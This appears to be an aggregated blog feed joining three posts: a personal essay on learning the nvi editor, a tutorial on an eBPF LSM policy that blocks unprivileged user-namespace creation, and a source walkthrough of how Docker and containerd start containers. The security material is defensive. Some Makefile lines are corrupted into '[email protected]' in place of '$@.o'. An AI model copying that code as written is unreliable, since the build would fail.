I've been using vi and vi-inspired text editors for over a quarter century. I think I probably first tried it on a VT320, couldn't figure out how to quit, and never wanted to try it again 😄. Then, either in 1998, when taking a class on Unix Shell programming, or in 2000 (when I switched my personal laptop over to Linux full-time for the first time) I decided to sit down and properly learn vi/vim, and managed to learn the basics well enough to get around, though not particularly gracefully.

I distinctly remember being asked to create a document when I started working as a Unix Security Analyst in 2002. Being extremely wary of Microsoft products, I created the document in vi on an HP-UX test server I had access to. I then scped the hand-created HTML document from the server onto my Windows 2000 workstation, opened it up in Word, and saved it as a .doc for others' use. (No, we didn't have any way of creating .PDFs at that time).

vi/vim was my daily-driver and preferred word-massager from the dawn of the 21st century until now, although I confess with measurable remorse that I did use Microsoft Word a good bit in college from 2013-2017, but I've recovered now. 😅

Slow Progress

The thing with vim is, its feature list is EXPANSIVE. That's not vim's fault. I wouldn't ever say it's too much, but it's just a lot. It's also not as easily discoverable as a GUI editor is. You have to do a fair bit of RTFM, and that's definitely fair. So, my vim skills largely languished and didn't really progress beyond the basics for many, many years.

My skills have grown a fair bit in the last few years thanks to kind friends online (like Hyde) who share tips and tricks, and spur on my desire to learn more, to tweak, to master a skill I find both highly valuable in terms of efficiency, and highly satisfying in terms of enjoyment. With a good text editor (particularly one of the vi-derived ones, in my humble opinion), you don't feel like you're trying to select text or move text. It feels like your mind has telekinetic control over the text on-screen. It's really an amazing feeling.

Progress Through Regress

I'm not certain how I came upon this decision or why, but about a week ago, I decided to stop using neovim (an excellent vim fork with a built-in Lua JIT and greater options for macros and customization), and rewind the clock to the mid-1970s by switching my editor to the old-timey vi.

Or actually, not quite. More like mid-1990s. You see, while the original 1976 vi's source code is out there and is FOSS, for the longest time, it was encumbered by a very restrictive license due to using some small portions of its code coming from the original AT&T Unix. So, even though it was developed at the UC Berkeley CSRG, it couldn't be distributed with the freely-available BSDs. Instead Keith Bostic developed nvi in 1994 to be a very close clone of the original, and that is the version that has been either pre-installed on, or available for nearly every Linux Distro and BSD variant since the 1990s.

So, I had a certain desire to pare things down and enjoy minimalism a bit more. I recall reading how Rob Pike decided not to add syntax highlighting to Acme because it's distracting. I can't say for sure if syntax highlighting is distracting or not, given that I've enjoyed it for years, going all the way back to Think Pascal for the Macintosh in the very early 1990s, which placed reserved words in boldface. I do think highlighting can be helpful for spotting obvious errors in code (as long as the syntax highlighting is accurate; sometimes it isn't), but I have been enjoying the exercise of reading code (shell scripts, in my case) more carefully without it, and I think my eye for code is keener for it.

I've found the process of "regressing" back to nvi ironically very liberating, because while it's more limited than vim, it's far easier to fully comprehend (understand and completely wrap your mind around) its feature set vs. something more sophisticated like vim. That makes the experience of learning it a lot less stressful/intimidating. But for its simplicity, "vanilla" vi actually has more features than I ever realized (including multi-level undo!).

The manual page is fairly long (30 pages when converted to PDF), and relatively terse, but still quite doable, and as you start pecking at it over several days to pick up different options and capabilities, a more complete feature of what it can and can't do begins to develop in your mind.

The Motion that Changed Everything: `~`

My most recent discovery in nvi (which I now realized also works in vim) is set tildeop.

The tilde (~) command in vi/vim is a powerful one because it can reverse the case of the text under the cursor, or the text highlighted. Many people have posted their own favorite combination command using the tilde, and the one I used most often was 0v$~, which jumps to the beginning of the line, marks to the end of the line, and toggles the case. This is useful for a variety of reasons, including just ALL CAPSing text when you don't feel like using the dreaded* Caps Lock.

* "Dreaded" for two reasons: one, I swap Caps Lock with Escape on my machines, so it's a little harder to reach, and two, leaving Caps Lock on and going into command mode in vi can have disastrous and unintended consequences. 😆

But while 0v$~ works well in vim, it doesn't work in classic vi, because there's no selection mode (although you can use marks to select a range of lines for certain operations, like :'a,'bs/foo/bar/). What I found is if you use set tildeop, the tilde no longer functions as a single-element toggle (in this case, always toggling the case of a single character, because that's all you can really "select" in classic vi), but a toggle combined with a movement key!

So, while just toggling the case of a single character goes from ~ to the slightly more cumbersome ~l (and I will admit to being annoyed at this at times 🙃), toggling the case of a whole word or line is a simple ~w or ~$.

What's funny is that I just found out that even if you don't have tildeop set, you can still do something simple like 0999~, which will toggle the case of the entire line, as long as it isn't longer than 999 characters. (RTFM folks! 😂)
But I still like being able to combine the tilde with movement characters, so it's definitely staying. ;)
I've also discovered that with tildeop set, a quick ~~ will toggle the case of the entire line, so that's even faster! :D

Update

I've since found out that I can re-map the backtick key to work as a single-character case toggle (like the tilde key used to work), so now I get the best of both worlds.

Here's the pertinent part of my .exrc (whould work in .vimrc/init.vim, as well):

set tildeop
map ` ~l

Live-patching security vulnerabilities inside the Linux kernel with eBPF Linux Security Module

Fri, 19 Jun 2026 10:37:10 +0000

Linux Security Modules (LSM) is a hook-based framework for implementing security policies and Mandatory Access Control in the Linux kernel. Until recently users looking to implement a security policy had just two options. Configure an existing LSM module such as AppArmor or SELinux, or write a custom kernel module.

Linux 5.7 introduced a third way: LSM extended Berkeley Packet Filters (eBPF) (LSM BPF for short). LSM BPF allows developers to write granular policies without configuration or loading a kernel module. LSM BPF programs are verified on load, and then executed when an LSM hook is reached in a call path.

Let’s solve a real-world problem

Modern operating systems provide facilities allowing "partitioning" of kernel resources. For example FreeBSD has "jails", Solaris has "zones". Linux is different - it provides a set of seemingly independent facilities each allowing isolation of a specific resource. These are called "namespaces" and have been growing in the kernel for years. They are the base of popular tools like Docker, lxc or firejail. Many of the namespaces are uncontroversial, like the UTS namespace which allows the host system to hide its hostname and time. Others are complex but straightforward - NET and NS (mount) namespaces are known to be hard to wrap your head around. Finally, there is this very special very curious USER namespace.

USER namespace is special, since it allows the owner to operate as "root" inside it. How it works is beyond the scope of this blog post, however, suffice to say it's a foundation to having tools like Docker to not operate as true root, and things like rootless containers.

Due to its nature, allowing unpriviledged users access to USER namespace always carried a great security risk. One such risk is privilege escalation.

Privilege escalation is a common attack surface for operating systems. One way users may gain privilege is by mapping their namespace to the root namespace via the unshare syscall and specifying the CLONE_NEWUSER flag. This tells unshare to create a new user namespace with full permissions, and maps the new user and group ID to the previous namespace. You can use the unshare(1) program to map root to our original namespace:

$ id
uid=1000(fred) gid=1000(fred) groups=1000(fred) …
$ unshare -rU
# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
# cat /proc/self/uid_map
         0       1000          1

In most cases using unshare is harmless, and is intended to run with lower privileges. However, this syscall has been known to be used to escalate privileges.

Syscalls clone and clone3 are worth looking into as they also have the ability to CLONE_NEWUSER. However, for this post we’re going to focus on unshare.

Debian solved this problem with this "add sysctl to disallow unprivileged CLONE_NEWUSER by default" patch, but it was not mainlined. Another similar patch "sysctl: allow CLONE_NEWUSER to be disabled" attempted to mainline, and was met with push back. A critique is the inability to toggle this feature for specific applications. In the article “Controlling access to user namespaces” the author wrote: “... the current patches do not appear to have an easy path into the mainline.” And as we can see, the patches were ultimately not included in the vanilla kernel.

Our solution - LSM BPF

Since upstreaming code that restricts USER namespace seem to not be an option, we decided to use LSM BPF to circumvent these issues. This requires no modifications to the kernel and allows us to express complex rules guarding the access.

Track down an appropriate hook candidate

First, let us track down the syscall we’re targeting. We can find the prototype in the include/linux/syscalls.h file. From there, it’s not as obvious to track down, but the line:

/* kernel/fork.c */

Gives us a clue of where to look next in kernel/fork.c. There a call to ksys_unshare() is made. Digging through that function, we find a call to unshare_userns(). This looks promising.

Up to this point, we’ve identified the syscall implementation, but the next question to ask is what hooks are available for us to use? Because we know from the man-pages that unshare is used to mutate tasks, we look at the task-based hooks in include/linux/lsm_hooks.h. Back in the function unshare_userns() we saw a call to prepare_creds(). This looks very familiar to the cred_prepare hook. To verify we have our match via prepare_creds(), we see a call to the security hook security_prepare_creds() which ultimately calls the hook:

…
rc = call_int_hook(cred_prepare, 0, new, old, gfp);
…

Without going much further down this rabbithole, we know this is a good hook to use because prepare_creds() is called right before create_user_ns() in unshare_userns() which is the operation we’re trying to block.

LSM BPF solution

We’re going to compile with the eBPF compile once-run everywhere (CO-RE) approach. This allows us to compile on one architecture and load on another. But we’re going to target x86_64 specifically. LSM BPF for ARM64 is still in development, and the following code will not run on that architecture. Watch the BPF mailing list to follow the progress.

This solution was tested on kernel versions >= 5.15 configured with the following:

BPF_EVENTS
BPF_JIT
BPF_JIT_ALWAYS_ON
BPF_LSM
BPF_SYSCALL
BPF_UNPRIV_DEFAULT_OFF
DEBUG_INFO_BTF
DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT
DYNAMIC_FTRACE
FUNCTION_TRACER
HAVE_DYNAMIC_FTRACE

A boot option lsm=bpf may be necessary if CONFIG_LSM does not contain “bpf” in the list.

Let’s start with our preamble:

deny_unshare.bpf.c:

#include <linux/bpf.h>
#include <linux/capability.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/types.h>

#include <bpf/bpf_tracing.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>

#define X86_64_UNSHARE_SYSCALL 272
#define UNSHARE_SYSCALL X86_64_UNSHARE_SYSCALL

Next we set up our necessary structures for CO-RE relocation in the following way:

deny_unshare.bpf.c:

…

typedef unsigned int gfp_t;

struct pt_regs {
	long unsigned int di;
	long unsigned int orig_ax;
} __attribute__((preserve_access_index));

typedef struct kernel_cap_struct {
	__u32 cap[_LINUX_CAPABILITY_U32S_3];
} __attribute__((preserve_access_index)) kernel_cap_t;

struct cred {
	kernel_cap_t cap_effective;
} __attribute__((preserve_access_index));

struct task_struct {
    unsigned int flags;
    const struct cred *cred;
} __attribute__((preserve_access_index));

char LICENSE[] SEC("license") = "GPL";

…

We don’t need to fully-flesh out the structs; we just need the absolute minimum information a program needs to function. CO-RE will do whatever is necessary to perform the relocations for your kernel. This makes writing the LSM BPF programs easy!

deny_unshare.bpf.c:

SEC("lsm/cred_prepare")
int BPF_PROG(handle_cred_prepare, struct cred *new, const struct cred *old,
             gfp_t gfp, int ret)
{
    struct pt_regs *regs;
    struct task_struct *task;
    kernel_cap_t caps;
    int syscall;
    unsigned long flags;

    // If previous hooks already denied, go ahead and deny this one
    if (ret) {
        return ret;
    }

    task = bpf_get_current_task_btf();
    regs = (struct pt_regs *) bpf_task_pt_regs(task);
    // In x86_64 orig_ax has the syscall interrupt stored here
    syscall = regs->orig_ax;
    caps = task->cred->cap_effective;

    // Only process UNSHARE syscall, ignore all others
    if (syscall != UNSHARE_SYSCALL) {
        return 0;
    }

    // PT_REGS_PARM1_CORE pulls the first parameter passed into the unshare syscall
    flags = PT_REGS_PARM1_CORE(regs);

    // Ignore any unshare that does not have CLONE_NEWUSER
    if (!(flags & CLONE_NEWUSER)) {
        return 0;
    }

    // Allow tasks with CAP_SYS_ADMIN to unshare (already root)
    if (caps.cap[CAP_TO_INDEX(CAP_SYS_ADMIN)] & CAP_TO_MASK(CAP_SYS_ADMIN)) {
        return 0;
    }

    return -EPERM;
}

Creating the program is the first step, the second is loading and attaching the program to our desired hook. There are several ways to do this: Cilium ebpf project, Rust bindings, and several others on the ebpf.io project landscape page. We’re going to use native libbpf.

deny_unshare.c:

#include <bpf/libbpf.h>
#include <unistd.h>
#include "deny_unshare.skel.h"

static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
    return vfprintf(stderr, format, args);
}

int main(int argc, char *argv[])
{
    struct deny_unshare_bpf *skel;
    int err;

    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);
    libbpf_set_print(libbpf_print_fn);

    // Loads and verifies the BPF program
    skel = deny_unshare_bpf__open_and_load();
    if (!skel) {
        fprintf(stderr, "failed to load and verify BPF skeleton\n");
        goto cleanup;
    }

    // Attaches the loaded BPF program to the LSM hook
    err = deny_unshare_bpf__attach(skel);
    if (err) {
        fprintf(stderr, "failed to attach BPF skeleton\n");
        goto cleanup;
    }

    printf("LSM loaded! ctrl+c to exit.\n");

    // The BPF link is not pinned, therefore exiting will remove program
    for (;;) {
        fprintf(stderr, ".");
        sleep(1);
    }

cleanup:
    deny_unshare_bpf__destroy(skel);
    return err;
}

Lastly, to compile, we use the following Makefile:

Makefile:

CLANG ?= clang-13
LLVM_STRIP ?= llvm-strip-13
ARCH := x86
INCLUDES := -I/usr/include -I/usr/include/x86_64-linux-gnu
LIBS_DIR := -L/usr/lib/lib64 -L/usr/lib/x86_64-linux-gnu
LIBS := -lbpf -lelf

.PHONY: all clean run

all: deny_unshare.skel.h deny_unshare.bpf.o deny_unshare

run: all
	sudo ./deny_unshare

clean:
	rm -f *.o
	rm -f deny_unshare.skel.h

#
# BPF is kernel code. We need to pass -D__KERNEL__ to refer to fields present
# in the kernel version of pt_regs struct. uAPI version of pt_regs (from ptrace)
# has different field naming.
# See: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fd56e0058412fb542db0e9556f425747cf3f8366
#
deny_unshare.bpf.o: deny_unshare.bpf.c
	$(CLANG) -g -O2 -Wall -target bpf -D__KERNEL__ -D__TARGET_ARCH_$(ARCH) $(INCLUDES) -c $< -o $@
	$(LLVM_STRIP) -g $@ # Removes debug information

deny_unshare.skel.h: deny_unshare.bpf.o
	sudo bpftool gen skeleton $< > $@

deny_unshare: deny_unshare.c deny_unshare.skel.h
	$(CC) -g -Wall -c $< -o [email protected]
	$(CC) -g -o $@ $(LIBS_DIR) [email protected] $(LIBS)

.DELETE_ON_ERROR:

Result

In a new terminal window run:

$ make run
…
LSM loaded! ctrl+c to exit.

In another terminal window, we’re successfully blocked!

$ unshare -rU
unshare: unshare failed: Cannot allocate memory
$ id
uid=1000(fred) gid=1000(fred) groups=1000(fred) …

The policy has an additional feature to always allow privilege pass through:

$ sudo unshare -rU
# id
uid=0(root) gid=0(root) groups=0(root)

In the unprivileged case the syscall early aborts. What is the performance impact in the privileged case?

Measure performance

We’re going to use a one-line unshare that’ll map the user namespace, and execute a command within for the measurements:

$ unshare -frU --kill-child -- bash -c "exit 0"

With a resolution of CPU cycles for syscall unshare enter/exit, we’ll measure the following as root user:

Command ran without the policy
Command run with the policy

We’ll record the measurements with ftrace:

$ sudo su
# cd /sys/kernel/debug/tracing
# echo 1 > events/syscalls/sys_enter_unshare/enable ; echo 1 > events/syscalls/sys_exit_unshare/enable

At this point, we’re enabling tracing for the syscall enter and exit for unshare specifically. Now we set the time-resolution of our enter/exit calls to count CPU cycles:

# echo 'x86-tsc' > trace_clock

Next we begin our measurements:

# unshare -frU --kill-child -- bash -c "exit 0" &
[1] 92014

Run the policy in a new terminal window, and then run our next syscall:

# unshare -frU --kill-child -- bash -c "exit 0" &
[2] 92019

Now we have our two calls for comparison:

# cat trace
# tracer: nop
#
# entries-in-buffer/entries-written: 4/4   #P:8
#
#                                _-----=> irqs-off
#                               / _----=> need-resched
#                              | / _---=> hardirq/softirq
#                              || / _--=> preempt-depth
#                              ||| / _-=> migrate-disable
#                              |||| /     delay
#           TASK-PID     CPU#  |||||  TIMESTAMP  FUNCTION
#              | |         |   |||||     |         |
         unshare-92014   [002] ..... 762950852559027: sys_unshare(unshare_flags: 10000000)
         unshare-92014   [002] ..... 762950852622321: sys_unshare -> 0x0
         unshare-92019   [007] ..... 762975980681895: sys_unshare(unshare_flags: 10000000)
         unshare-92019   [007] ..... 762975980752033: sys_unshare -> 0x0

unshare-92014 used 63294 cycles.unshare-92019 used 70138 cycles.

We have a 6,844 (~10%) cycle penalty between the two measurements. Not bad!

These numbers are for a single syscall, and add up the more frequently the code is called. Unshare is typically called at task creation, and not repeatedly during normal execution of a program. Careful consideration and measurement is needed for your use case.

Outro

We learned a bit about what LSM BPF is, how unshare is used to map a user to root, and how to solve a real-world problem by implementing a solution in eBPF. Tracking down the appropriate hook is not an easy task, and requires a bit of playing and a lot of kernel code. Fortunately, that’s the hard part. Because a policy is written in C, we can granularly tweak the policy to our problem. This means one may extend this policy with an allow-list to allow certain programs or users to continue to use an unprivileged unshare. Finally, we looked at the performance impact of this program, and saw the overhead is worth blocking the attack vector.

“Cannot allocate memory” is not a clear error message for denying permissions. We proposed a patch to propagate error codes from the cred_prepare hook up the call stack. Ultimately we came to the conclusion that a new hook is better suited to this problem. Stay tuned!

Docker Internal (3) | Blog

Fri, 19 Jun 2026 10:24:09 +0000

In the third post, we’ll discuss how the container is loaded.

Since the vulnerability I found has not yet been patched 😢, I won’t discuss how the NVIDIA toolkit can work as a replacement runtime in this post. I’ll cover it in a future post once the bug has been fixed.

1. Load a Container

If you run docker run --rm -it ubuntu:24.04, dockerd will receive two HTTP requests. The first is to create a container, which is the same as executing docker create ubuntu:24.04.

POST /v1.54/containers/create HTTP/1.1
Host: api.moby.localhost
User-Agent: Docker-Client/29.5.2 (linux)
Content-Length: 1711
Content-Type: application/json
...

The second is to start the container, which is the same as executing docker start <container_id>.

POST /v1.54/containers/17b7029c5b5121a40ef71d91640fff00f20152df0b167a4464c02450c208b8a1/start HTTP/1.1
Host: api.moby.localhost
User-Agent: Docker-Client/29.5.2 (linux)
Content-Length: 0

dockerd’s initRoutes() defines both endpoint handlers, and we’ll read their implementation later.

// daemon/server/router/container/container.go
func (c *containerRouter) initRoutes() {
    c.routes = []router.Route{
        // [...]
        router.NewPostRoute("/containers/create", c.postContainersCreate),
        // [...]
        router.NewPostRoute("/containers/{name:.*}/start", c.postContainersStart),
        // [...]
    }
}

1.1. Create

The request data is a JSON-formatted data that includes the container’s configuration. The actual data looks like:

{
  "Hostname": "",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": true,
  "AttachStderr": true,
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": null,
  "Cmd": null,
  "Image": "ubuntu:24.04",
  "Volumes": {},
  "WorkingDir": "",
  "Entrypoint": null,
  "Labels": {},
  "HostConfig": {
    "Binds": null,
    "ContainerIDFile": "",
    "LogConfig": {
      "Type": "",
      "Config": {}
    },
    "NetworkMode": "default",
    "PortBindings": {},
    "RestartPolicy": {
      "Name": "no",
      "MaximumRetryCount": 0
    },
    "AutoRemove": false,
    "VolumeDriver": "",
    "VolumesFrom": null,
    "ConsoleSize": [
      50,
      212
    ],
    "CapAdd": null,
    "CapDrop": null,
    "CgroupnsMode": "",
    "Dns": null,
    "DnsOptions": [],
    "DnsSearch": [],
    "ExtraHosts": null,
    "GroupAdd": null,
    "IpcMode": "",
    "Cgroup": "",
    "Links": null,
    "OomScoreAdj": 0,
    "PidMode": "",
    "Privileged": false,
    "PublishAllPorts": false,
    "ReadonlyRootfs": false,
    "SecurityOpt": null,
    "UTSMode": "",
    "UsernsMode": "",
    "ShmSize": 0,
    "Isolation": "",
    "CpuShares": 0,
    "Memory": 0,
    "NanoCpus": 0,
    "CgroupParent": "",
    "BlkioWeight": 0,
    "BlkioWeightDevice": [],
    "BlkioDeviceReadBps": [],
    "BlkioDeviceWriteBps": [],
    "BlkioDeviceReadIOps": [],
    "BlkioDeviceWriteIOps": [],
    "CpuPeriod": 0,
    "CpuQuota": 0,
    "CpuRealtimePeriod": 0,
    "CpuRealtimeRuntime": 0,
    "CpusetCpus": "",
    "CpusetMems": "",
    "Devices": [],
    "DeviceCgroupRules": null,
    "DeviceRequests": null,
    "MemoryReservation": 0,
    "MemorySwap": 0,
    "MemorySwappiness": -1,
    "OomKillDisable": false,
    "PidsLimit": 0,
    "Ulimits": [],
    "CpuCount": 0,
    "CpuPercent": 0,
    "IOMaximumIOps": 0,
    "IOMaximumBandwidth": 0,
    "MaskedPaths": null,
    "ReadonlyPaths": null
  },
  "NetworkingConfig": {
    "EndpointsConfig": {
      "default": {
        "IPAMConfig": null,
        "Links": null,
        "Aliases": null,
        "DriverOpts": null,
        "GwPriority": 0,
        "NetworkID": "",
        "EndpointID": "",
        "Gateway": "",
        "IPAddress": "",
        "MacAddress": "",
        "IPPrefixLen": 0,
        "IPv6Gateway": "",
        "GlobalIPv6Address": "",
        "GlobalIPv6PrefixLen": 0,
        "DNSNames": null
      }
    }
  }
}

postContainersCreate() first decodes the request into three different configs [1] and then creates a container based on these configs [2].

// daemon/server/router/container/container_routes.go
func (c *containerRouter) postContainersCreate(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    req, err := runconfig.DecodeCreateRequest(rdr, c.backend.RawSysInfo())
    config, hostConfig, networkingConfig := req.Config, req.HostConfig, req.NetworkingConfig // [1]
    // [...]
    ccr, err := c.backend.ContainerCreate(ctx, backend.ContainerCreateConfig{ // [2]
        Name:                        name,
        Config:                      config,
        HostConfig:                  hostConfig,
        NetworkingConfig:            networkingConfig,
        Platform:                    platform,
        DefaultReadOnlyNonRecursive: defaultReadOnlyNonRecursive,
    })
    // [...]
}

Internally, newContainer() is called to create a container instance and set its root directory to /var/lib/docker/containers/<id> [3].

// daemon/container.go
func (daemon *Daemon) newContainer(name string, platform ocispec.Platform, config *containertypes.Config, hostConfig *containertypes.HostConfig, imgID image.ID, managed bool) (*container.Container, error) {
    // [...]
    base := container.NewBaseContainer(id, filepath.Join(daemon.repository, id)) // [3]
    // [...]
    base.Config = config
    base.HostConfig = hostConfig
    // [...]
    return base
}

After the container has been set up, its metadata is saved into config.v2.json for later use [4]. The host configuration is also saved, but it is kept separately in another file, hostconfig.json [5].

// daemon/container/container.go
func (container *Container) CheckpointTo(ctx context.Context, store *ViewDB) error {
    // [...]
    deepCopy, err := container.toDisk()
    // [...]
}

func (container *Container) toDisk() (*Container, error) {
    // [...]
    pth, err := container.ConfigPath() // config.v2.json
    f, err := atomicwriter.New(pth, 0o600)
    w := io.MultiWriter(&buf, f)
    if err := json.NewEncoder(w).Encode(container); err != nil { // [4]
        // [...]
    }

    var deepCopy Container
    if err := json.NewDecoder(&buf).Decode(&deepCopy); err != nil {
        // [...]
    }
    deepCopy.HostConfig, err = container.WriteHostConfig() // <--------
    // [...]
}

func (container *Container) WriteHostConfig() (*containertypes.HostConfig, error) {
    // [...]
    pth, err := container.HostConfigPath() // hostconfig.json
    f, err := atomicwriter.New(pth, 0o600)
    w := io.MultiWriter(&buf, f)
    if err := json.NewEncoder(w).Encode(&container.HostConfig); err != nil { // [5]
        // [...]
    }
    // [...]
}

We can see these files in the corresponding directory.

root@aaa:~# ls -al /var/lib/docker/containers/2fa14c3b70546123aa4de5628bad07282085500fb48dee65adae4546b55b7128/
total 20
drwx--x--- 3 root root 4096 Jun  3 11:15 .
drwx--x--- 4 root root 4096 Jun  3 11:36 ..
drwx------ 2 root root 4096 Jun  3 11:15 checkpoints
-rw------- 1 root root 2462 Jun  3 11:15 config.v2.json
-rw------- 1 root root 1216 Jun  3 11:15 hostconfig.json

These configs are loaded and used from dockerd’s memory store [6], which is a mapping from container’s ID to the container object.

Every time dockerd restarts, the initialization function NewDaemon() calls loadContainers() [7] to cache all of them into the memory store to avoid heavy disk access.

// daemon/daemon.go
func NewDaemon(ctx context.Context, config *config.Config, pluginStore *plugin.Store, authzMiddleware *authorization.Middleware) (_ *Daemon, retErr error) {
    // [...]
    containers, err := d.loadContainers(ctx) // [7]
    // [...]
}

func (daemon *Daemon) loadContainers(ctx context.Context) (map[string]map[string]*container.Container, error) {
    // [...]
    dir, err := os.ReadDir(daemon.repository)
    // [...]
    for _, v := range dir {
        // [...]
        id := v.Name()
        c, err := daemon.load(id)
        containers[c.ID] = c // <--------
        // [...]
    }
}

1.2. Start

After the container is created, the container-starting request is sent to dockerd to run the container.

Inside ContainerStart(), the daemonCfg is created to hold the current daemon (dockerd) configuration [1]. daemon.GetContainer() is then called to retrieve the matching container object from the memory store [2]. Finally, containerStart() is called to start the container with these configurations [3].

// daemon/server/router/container/container_routes.go
func (c *containerRouter) postContainersStart(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    if err := c.backend.ContainerStart(ctx, vars["name"], r.Form.Get("checkpoint"), r.Form.Get("checkpoint-dir")); err != nil { // <--------
        return err
    }
    // [...]
}

// daemon/start.go
func (daemon *Daemon) ContainerStart(ctx context.Context, name string, checkpoint string, checkpointDir string) error {
    daemonCfg := daemon.config() // [1]
    // [...]
    ctr, err := daemon.GetContainer(name) // [2]
    // [...]
    return daemon.containerStart(ctx, daemonCfg, ctr, checkpoint, checkpointDir, true) // [3]
}

// daemon/daemon.go
type configStore struct {
    config.Config

    Runtimes runtimes
}

containerStart() does four things. First, it generates the container’s OCI spec [4], which determines the container’s runtime environment. Then it creates a container on the containerd side [5].

You may wonder why we still need to create another container even though we’ve already created it. Actually, these two creations are in different layers. The first is triggered by docker create ..., and it keeps metadata and config object in filesystem; it is for dockerd.

This time, the creation is for containerd-level container object. containerd inserts a record about the OCI spec and shim/runtime into the database.

After that, dockerd asks containerd to create a task [6]. A task is the containerd-level handle for the running container; creating it starts the shim daemon, which in turn creates the init process. At this point the task is created but stopped, waiting to be unblocked before it executes the entrypoint binary.

Later, it then calls tsk.Start() [7] to start the task, indirectly telling the shim daemon to unblock the init process, which finally executes the entrypoint binary and becomes the container.

// daemon/start.go
func (daemon *Daemon) containerStart(ctx context.Context, daemonCfg *configStore, container *container.Container, checkpoint string, checkpointDir string, resetRestartManager bool) (retErr error) {
    // ... container setting
    // 1. build OCI spec
    spec, err := daemon.createSpec(ctx, daemonCfg, container, mnts) // [4]
    
    // [...]
    // 2. create a container (containerd.services.containers.v1.Containers/Create)
    ctr, err := libcontainerd.ReplaceContainer(ctx, daemon.containerd, container.ID, spec, shim, createOptions, func(ctx context.Context, client *containerd.Client, c *containers.Container) error { // [5]
        // [...]
        is, ok := daemon.imageService.(*mobyc8dstore.ImageService)
        img, err := is.ResolveImage(ctx, container.Config.Image)
        // [...]
        c.Image = img.Name
        return nil
    })

    // [...]
    // 3. create a task (containerd.services.tasks.v1.Tasks/Create)
    tsk, err := ctr.NewTask(/* ... */) // [6]

    // [...]
    // 4. start the task (containerd.services.tasks.v1.Tasks/Start)
    if err := tsk.Start(context.WithoutCancel(ctx)); err != nil { // [7]
        // [...]
    }
}

1.2.1. Create the OCI spec

createSpec() generates the OCI spec. It first gets the default spec [1] and registers config-parsing callbacks [2]. Later, the callbacks are invoked to modify the OCI spec [3].

// daemon/oci_linux.go
func (daemon *Daemon) createSpec(ctx context.Context, daemonCfg *configStore, c *container.Container, mounts []container.Mount) (retSpec *specs.Spec, _ error) {
    var (
        opts []coci.SpecOpts
        s    = oci.DefaultSpec() // [1]
    )
    opts = append(opts,
        withCommonOptions(daemon, &daemonCfg.Config, c), // [2]
        // [...]
    )
    // set options callback
    return &s, coci.ApplyOpts(ctx, daemon.containerdClient, &containers.Container{ // <--------
        ID:          c.ID,
        Snapshotter: snapshotter,
        SnapshotKey: snapshotKey,
    }, &s, opts...)
}

func ApplyOpts(ctx context.Context, client Client, c *containers.Container, s *Spec, opts ...SpecOpts) error {
    for _, o := range opts {
        if err := o(ctx, client, c, s); err != nil { // [3]
            return err
        }
    }

    return nil
}

Most fields described by the default spec [4] are the same as the finally generated JSON config if you don’t pass additional options.

// daemon/pkg/oci/defaults.go
func DefaultSpec() specs.Spec {
    // [...]
    return DefaultLinuxSpec()
}

func DefaultLinuxSpec() specs.Spec {
    return specs.Spec{ // [4]
        // [...]
        Process: &specs.Process{
            Capabilities: &specs.LinuxCapabilities{
                Bounding:  caps.DefaultCapabilities(),
                Permitted: caps.DefaultCapabilities(),
                Effective: caps.DefaultCapabilities(),
            },
        },
        // [...]
    }
}

1.2.2. Save Container Metadata into DB

The .ReplaceContainer() call is internally wrapped into a "/containerd.services.containers.v1.Containers/Create" request and sent to containerd [1].

// daemon/internal/libcontainerd/replace.go
func ReplaceContainer(ctx context.Context, client types.Client, id string, spec *specs.Spec, shim string, runtimeOptions any, opts ...containerd.NewContainerOpts) (types.Container, error) {
    newContainer := func() (types.Container, error) {
        return client.NewContainer(ctx, id, spec, shim, runtimeOptions, opts...)
    }
    ctr, err := newContainer() // <--------
    // [...]
}

// vendor/github.com/containerd/containerd/api/services/containers/v1/containers_grpc.pb.go
func (c *containersClient) Create(ctx context.Context, in *CreateContainerRequest, opts ...grpc.CallOption) (*CreateContainerResponse, error) {
    out := new(CreateContainerResponse)
    err := c.cc.Invoke(ctx, "/containerd.services.containers.v1.Containers/Create", in, out, opts...) // [1]
    // [...]
}

On the containerd side, _Containers_Create_Handler() is called to save the container object into the boltdb (/var/lib/containerd/io.containerd.metadata.v1.bolt/meta.db) [2].

bbolt is an embedded key/value database for Go, and here it is used as a metadata store by containerd.

// api/services/containers/v1/containers_grpc.pb.go
func _Containers_Create_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
    // [...]
    info := &grpc.UnaryServerInfo{
        Server:     srv,
        FullMethod: "/containerd.services.containers.v1.Containers/Create",
    }
    handler := func(ctx context.Context, req interface{}) (interface{}, error) {
        return srv.(ContainersServer).Create(ctx, req.(*CreateContainerRequest)) // <--------
    }
    // [...]
}

// plugins/services/containers/local.go
func (l *local) Create(ctx context.Context, req *api.CreateContainerRequest, _ ...grpc.CallOption) (*api.CreateContainerResponse, error) {
    // [...]
    if err := l.withStoreUpdate(ctx, func(ctx context.Context) error { // [2]
        container := containerFromProto(req.Container)
        // [...]
        created, err := l.Store.Create(ctx, container)
        resp.Container = containerToProto(&created)
        // [...]
        return nil
    })
}

The container object here is different from dockerd’s. containerd’s container object is a runtime metadata record (ID, Runtime, Snapshotter, Image, Spec, Labels, …). They are persisted independently in different stores.

If you are interested in how the DB entry looks, you can first install the bbolt CLI:

go install go.etcd.io/bbolt/cmd/bbolt@latest

It allows you to view the entry content from meta.db.

# [Check database file integrity]
bbolt check meta.db
## Response: OK

# [List the bucket]
bbolt buckets meta.db
## Response: v1

# [List and get keys]
bbolt keys meta.db v1
## Response:
##  moby
##  moby_history
##  version
##
## PS. moby and moby_history are sub-buckets

bbolt keys meta.db v1 moby containers
## Response:
##  db58127f96bd2c5655eb53f516ba7efeafac3c7335c5f2389e2b8a329e034b11

